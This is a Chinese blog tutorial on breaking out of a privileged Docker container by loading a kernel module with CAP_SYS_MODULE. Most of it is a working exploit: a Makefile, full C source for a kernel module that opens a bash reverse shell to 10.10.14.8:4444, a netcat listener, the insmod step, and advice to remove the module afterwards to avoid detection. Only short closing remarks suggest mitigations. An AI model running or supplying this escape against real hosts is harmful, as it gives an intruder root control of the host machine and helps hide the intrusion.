Featured image of post Docker Hack

Docker Hack

Docker特权模式越狱

Docker 容器越狱:利用内核模块注入启动反向 Shell

引言

Docker提供了一个轻量级、可移植的虚拟化环境,让应用程序可以隔离运行。但Docker 容器并非完全安全,特别是在容器与宿主机之间存在一定的隔离漏洞时。Docker 容器越狱,指的是通过利用容器中的漏洞突破容器的安全限制,进而获取对宿主机的访问权限。这篇文章将深入探讨如何通过内核模块注入的方式,启动一个反向 Shell,以突破 Docker 容器的安全限制,并讲解这一过程的各个步骤。

容器特权与安全漏洞

Docker 容器提供了一个隔离的环境,使得应用程序和宿主机之间的交互受到严格限制。然而,这种隔离并不是万无一失的。容器越狱通常依赖于容器中所拥有的特权权限,例如 CAP_SYS_MODULE 权限。如果容器内的进程具有加载和卸载内核模块的能力,攻击者可以利用这一点来实现越狱。

根据 Panoptica 的研究,有多种方式可以利用容器特权进行攻击。其中之一就是通过注入内核模块来创建反向 Shell,绕过容器的安全限制,获得宿主机的控制权限。

利用 CAP_SYS_MODULE 权限

首先,确认容器是否拥有 CAP_SYS_MODULE 权限,这个权限允许进程加载和卸载内核模块。可以使用以下命令查看容器的权限:

capsh --print
# 示例输出如下
root@216ef70c252b:/# capsh --print
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore
Ambient set =
Current IAB: 
Securebits: 00/0x0/1'b0 (no-new-privs=0)
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)

如果capsh不存在可以参考command-not-found安装

容器环境配置

在开始进行内核模块注入之前,我们需要在容器内安装一些必要的工具和内核头文件。这些工具有助于我们编译内核模块并成功注入。执行以下命令来安装必要的工具:

apt install -y kmod net-tools gcc netcat vim make

此外,还需要安装内核头文件,以便编译内核模块:

apt install -y linux-headers-$(uname -r)

如果 apt 无法找到适合的内核头文件,可以通过手动搜索并下载适合的 .deb 包,使用 dpkg 命令进行安装。

反向 Shell 编写与内核模块注入

接下来,我们需要编写一个内核模块,它将启动一个反向 Shell。以下是编写内核模块的步骤:

编写 Makefile

创建一个 Makefile 文件,以便编译内核模块:

obj-m += reverse-shell.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

编写反向 Shell C 代码

创建一个 reverse-shell.c 文件,其中包含反向 Shell 的代码:

#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

# 修改10.10.14.8为容器地址,
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

此代码会启动一个反向 Shell,将连接发送到攻击者的 IP 地址(修改为实际的 IP 地址)。

bash -i >& /dev/tcp/10.10.14.8/4444 0>&1

命令创建了一个bash,并将输入输出重定向到tcp://10.10.14.8:4444(容器端口)

监听与反向连接

在容器中,首先启动监听进程,监听反向 Shell 的连接:

# 监听 4444 端口
nc -lnvp 4444 &

然后,编译并注入内核模块:

make
insmod reverse-shell.ko

此时,容器将尝试与攻击者的机器建立连接,反向 Shell 被启动。可以通过以下命令查看后台的 nc 进程:

jobs

重新将 nc 进程带回前台,以获取反向 Shell:

fg <id>

恢复与清理

如果操作成功,反向 Shell 就已启动并与攻击者的机器建立了连接。此时,为了避免被检测到,您可能需要清理痕迹,移除内核模块:

# 移除内核模块
rmmod reverse-shell

总结

通过以上步骤,我们展示了如何利用 Docker 容器中的 CAP_SYS_MODULE 权限,通过内核模块注入的方式启动一个反向 Shell。

在实际应用中,要尽量避免授予不必要的特权。

在上一篇博客中提到了Docker in Docker技术,要求容器一定要具有特权,对此有2种方法

  1. 在Docker容器外再套一层虚拟机,就算恶意用户越狱也无法跳出虚拟机限制
  2. 替换更安装的运行时,如sysbox

附录